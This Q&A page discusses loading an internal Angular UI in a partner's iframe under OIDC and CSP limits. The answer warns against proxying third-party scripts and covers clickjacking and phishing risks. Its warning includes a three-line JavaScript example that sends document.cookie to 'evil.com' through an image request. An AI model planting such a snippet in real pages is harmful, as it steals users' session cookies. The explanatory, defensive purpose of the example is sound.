Search code examples
iframecross-domainopenid-connectcontent-security-policyidp

Cross-domain loading of Angular UI within an iframe

We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.

The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).

This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.

Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?

I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!

Solution

  • Proxying third-party scripts is a bad idea. Consider the script:

    var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);

    Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.

    Allowing your site to be embedded into iframe open doors to:

    • clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
    • Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
    • third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.

    For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.

    It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.